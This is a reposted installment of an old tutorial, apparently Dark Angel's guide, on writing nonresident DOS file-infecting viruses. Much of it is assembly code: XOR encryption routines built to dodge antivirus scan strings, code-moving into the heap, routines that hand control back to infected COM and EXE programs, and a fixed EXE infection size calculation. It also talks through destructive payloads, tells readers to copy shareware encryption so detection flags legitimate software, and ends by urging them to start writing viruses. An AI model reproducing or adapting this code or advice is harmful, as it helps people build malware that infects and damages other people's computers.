Dark Angels Chunky Virus Writing Guide

Dark Angel's Chunky Virus Writing Guide
INSTALLMENT III: NONRESIDENT VIRII, PART II

@DrWatson

Published in 

Hacking Tutorials

 · 5 years ago

Welcome to the third installment of my Virus Writing Guide. In the previous installment, I covered the primary part of the virus - the replicator. As promised, I shall now cover the rest of the nonresident virus and present code which, when combined with code from the previous installment, will be sufficient to allow anyone to write a simple virus.
Additionally, I will present a few easy tricks and tips which can help optimise your code.

THE CONCEALER
The concealer is the most common defense virus writers use to avoid detection of virii. The most common encryption/decryption routine by far is the XOR, since it may be used for both encryption and decryption.

 
  encrypt_val   dw   ?   ; Should be somewhere in decrypted area 
   
  decrypt: 
  encrypt: 
       mov dx, word ptr [bp+encrypt_val] 
       mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2 
       lea si, [bp+part_to_encrypt_start] 
       mov di, si 
   
  xor_loop: 
       lodsw 
       xor ax, dx 
       stosw 
       loop xor_loop 

The previous routine uses a simple XOR routine to encrypt or decrypt code in memory. This is essentially the same routine as the one in the first installment, except it encrypts words rather than bytes. It therefore has 65,535 mutations as opposed to 255 and is also twice as fast. While this routine is simple to understand, it leaves much to be desired as it is large and therefore is almost begging to be a scan string. A better method follows:

 
  encrypt_val   dw    ? 
   
  decrypt: 
  encrypt: 
       mov dx, word ptr [bp+encrypt_val] 
       lea bx, [bp+part_to_encrypt_start] 
       mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2 
   
  xor_loop: 
       xor word ptr [bx], dx 
       add bx, 2 
       loop xor_loop 

Although this code is much shorter, it is possible to further reduce its size. The best method is to insert the values for the encryption value, BX, and CX, in at infection-time.

 
  decrypt: 
  encrypt: 
       mov bx, 0FFFFh 
       mov cx, 0FFFFh 
   
  xor_loop: 
       xor word ptr [bx], 0FFFFh 
       add bx, 2 
       loop xor_loop 

All the values denoted by 0FFFFh may be changed upon infection to values appropriate for the infected file. For example, BX should be loaded with the offset of part_to_encrypt_start relative to the start of the infected file when the encryption routine is written to the infected file.

The primary advantage of the code used above is the minimisation of scan code length. The scan code can only consist of those portions of the code which remain constant. In this case, there are only three or four consecutive bytes which remain constant. Since the entire encryption consist of only about a dozen bytes, the size of the scan code is extremely tiny.

Although the function of the encryption routine is clear, perhaps the initial encryption value and calculation of subsequent values is not as lucid. The initial value for most XOR encryptions should be 0. You should change the encryption value during the infection process. A random encryption value is desired. The simplest method of obtaining a random number is to consult to internal clock. A random number may be easily obtained with a simple:

 
          mov     ah, 2Ch                         ; Get me a random number. 
          int     21h 
          mov     word ptr [bp+encrypt_val], dx   ; Can also use CX 

Some encryption functions do not facilitate an initial value of 0. For an example, take a look at Whale. It uses the value of the previous word as an encryption value. In these cases, simply use a JMP to skip past the decryption routine when coding the virus. However, make sure infections JMP to the right location! For example, this is how you would code such a virus:

 
          org     100h 
   
  start: 
          jmp     past_encryption 
   
  ; Insert your encryption routine here 
   
  past_encryption: 

The encryption routine is the ONLY part of the virus which needs to be unencrypted. Through code-moving techniques, it is possible to copy the infection mechanism to the heap (memory location past the end of the file and before the stack). All that is required is a few MOVSW instructions and one JMP. First the encryption routine must be copied, then the writing, then the decryption, then the RETurn back to the program. For example:

 
       lea si, [bp+encryption_routine] 
       lea di, [bp+heap] 
       mov cx, encryption_routine_size 
       push si 
       push cx 
       rep movsb 
   
       lea si, [bp+writing_routine] 
       mov cx, writing_routine_size 
       rep movsb 
   
       pop cx 
       pop si 
       rep movsb 
   
       mov al, 0C3h                             ; Tack on a near return 
       stosb 
   
       call [bp+heap] 

Although most virii, for simplicity's sake, use the same routine for both encryption and decryption, the above code shows this is completely unnecessary. The only modification of the above code for inclusion of a separate decryption routine is to take out the PUSHes and replace the POPs with the appropriate LEA si and MOV cx.

Original encryption routines, while interesting, might not be the best. Stolen encryption routines are the best, especially those stolen from encrypted shareware programs! Sydex is notorious for using encryption in their shareware programs. Take a look at a shareware program's puny encryption and feel free to copy it into your own. Hopefully, the anti-viral developers will create a scan string which will detect infection by your virus in shareware products simply because the encryption is the same.

Note that this is not a full treatment of concealment routines. A full text file could be written on encryption/decryption techniques alone. This is only the simplest of all possible encryption techniques and there are far more concealment techniques available. However, for the beginner, it should suffice.

THE DISPATCHER
The dispatcher is the portion of the virus which restores control back to the infected program. The dispatchers for EXE and COM files are, naturally, different.

In COM files, you must restore the bytes which were overwritten by your virus and then transfer control back to CS:100h, which is where all COM files are initially loaded.

 
  RestoreCOM: 
       mov di, 100h                     ; We are copying to the beginning 
       lea si, [bp+savebuffer]          ; We are copying from our buffer 
       push di                          ; Save offset for return (100h) 
       movsw                            ; Mo efficient than mov cx, 3, movsb 
       movsb                            ; Alter to meet your needs 
       retn                             ; A JMP will also work 

EXE files require simply the restoration of the stack segment/pointer and the code segment/instruction pointer.

 
  ExeReturn: 
          mov     ax, es                           ; Start at PSP segment 
          add     ax, 10h                          ; Skip the PSP 
          add     word ptr cs:[bp+ExeWhereToJump+2], ax 
          cli 
          add     ax, word ptr cs:[bp+StackSave+2] ; Restore the stack 
          mov     ss, ax 
          mov     sp, word ptr cs:[bp+StackSave] 
          sti 
          db      0eah                             ; JMP FAR PTR SEG:OFF 
  ExeWhereToJump: 
          dd      0 
  StackSave: 
          dd      0 
   
  ExeWhereToJump2 dd 0 
  StackSave2      dd 0 

Upon infection, the initial CS:IP and SS:SP should be stored in ExeWhereToJump2 and StackSave2, respectively. They should then be moved to ExeWhereToJump and StackSave before restoration of the program. This restoration may be easily accomplished with a series of MOVSW instructions.

Some like to clear all the registers prior to the JMP/RET, i.e. they issue a bunch of XOR instructions. If you feel happy and wish to waste code space, you are welcome to do this, but it is unnecessary in most instances.

THE BOMB

"The horror! The horror!"
- Joseph Conrad, The Heart of Darkness

What goes through the mind of a lowly computer user when a virus activates? What terrors does the unsuspecting victim undergo as the computer suddenly plays a Nazi tune? How awful it must be to lose thousands of man-hours of work in an instant!

Actually, I do not support wanton destruction of data and disks by virii. It serves no purpose and usually shows little imagination. For example, the world-famous Michelangelo virus did nothing more than overwrite sectors of the drive with data taken at random from memory. How original. Yawn. Of course, if you are hell-bent on destruction, go ahead and destroy all you want, but just remember that this portion of the virus is usually the only part seen by "end-users" and distinguishes it from others. The best examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt. Don't forget the PHALCON/SKISM line, especially those by me (I had to throw in a plug for the group)!

As you can see, there's no code to speak of in this section. Since all bombs should be original, there isn't much point of putting in the code for one, now is there! Of course, some virii don't contain any bomb to speak of. Generally speaking, only those under about 500 bytes lack bombs. There is no advantage of not having a bomb other than size considerations.

MEA CULPA
I regret to inform you that the EXE infector presented in the last installment was not quite perfect. I admit it. I made a mistake of colossal proportions The calculation of the file size and file size mod 512 was screwed up. Here is the corrected version:

 
  ; On entry, DX:AX hold the NEW file size 
   
          push    ax                          ; Save low word of filesize 
          mov     cl, 9                       ; 2^9 = 512 
          shr     ax, cl                      ; / 512 
          ror     dx, cl                      ; / 512 (sort of) 
          stc                                 ; Check EXE header description 
                                              ; for explanation of addition 
          adc     dx, ax                      ; of 1 to the DIV 512 portion 
          pop     ax                          ; Restore low word of filesize 
          and     ah, 1                       ; MOD 512 

This results in the file size / 512 + 1 in DX and the file size modulo 512 in AX. The rest remains the same. Test your EXE infection routine with Microsoft's LINK.EXE, since it won't run unless the EXE infection is perfect.

I have saved you the trouble and smacked myself upside the head for this dumb error.

TIPS AND TRICKS
So now all the parts of the nonresident virus have been covered. Yet I find myself left with several more K to fill. So, I shall present several simple techniques anyone can incorporate into virii to improve efficiency.

/

listUse the heap
The heap is the memory area between the end of code and the bottom of the stack. It can be conveniently treated as a data area by a virus. By moving variables to the heap, the virus need not keep variables in its code, thereby reducing its length. Note that since the contents heap are not part of the virus, only temporary variables should be kept there, i.e. the infection routine should not count the heap as part of the virus as that would defeat the entire purpose of its use.
There are two ways of using the heap:

 
       ; First method 
        
       EndOfVirus: 
       Variable1 equ $ 
       Variable2 equ Variable1 + LengthOfVariable1 
       Variable3 equ Variable2 + LengthOfVariable2 
       Variable4 equ Variable3 + LengthOfVariable3 
        
       ; Example of first method 
        
       EndOfVirus: 
       StartingDirectory = $ 
       TemporaryDTA      = StartingDirectory + 64 
       FileSize          = TemporaryDTA + 42 
       Flag              = FileSize + 4 
        
       ; Second method 
        
       EndOfVirus: 
       Variable1 db LengthOfVariable1 dup (?) 
       Variable2 db LengthOfVariable2 dup (?) 
       Variable3 db LengthOfVariable3 dup (?) 
       Variable4 db LengthOfVariable4 dup (?) 
        
       ; Example of second method 
       EndOfVirus: 
       StartingDirectory db 64 dup (?) 
       TemporaryDTA      db 42 dup (?) 
       FileSize          dd ? 
       Flag              db ? 

The two methods differ slightly. By using the first method, you create a file which will be the exact length of the virus (plus startup code). However, when referencing the variables, size specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always be used or the assembler will become befuddled. Secondly, if the variables need to be rearranged for some reason, the entire chain of EQUates will be destroyed and must be rebuilt. Virii coded with second method do not need size specifications, but the resulting file will be larger than the actual size of the virus. While this is not normally a problem, depending on the reinfection check, the virus may infect the original file when run. This is not a big disability, especially considering the advantages of this method.

In any case, the use of the heap can greatly lessen the effective length of the virus code and thereby make it much more efficient. The only thing to watch out for is infecting large COM files where the heap will "wrap around" to offset 0 of the same segment, corrupting the PSP. However, this problem is easily avoided. When considering whether a COM file is too large to infect for this reason, simply add the temporary variable area size to the virus size for the purposes of the check.

 
       Let PS = the procedure size, in bytes 
       bytes saved = (PS - 4) * number invocations - PS 

 
       close_file: 
         mov ah, 3eh      ; 2 bytes 
         int 21h          ; 2 bytes 
         ret              ; 1 byte 
                          ; PS = 2+2+1 = 5 

 
       go_eof: 
         mov al, 2 
       move_fp: 
         xor dx, dx 
       go_somewhere: 
         xor cx, cx 
         mov ah, 42h 
         int 21h 
         ret 

SO NOW
you have all the code and information sufficient to write a viable virus, as well as a wealth of techniques to use. So stop reading and start writing! The only way to get better is through practise. After two or three tries, you should be well on your way to writing good virii.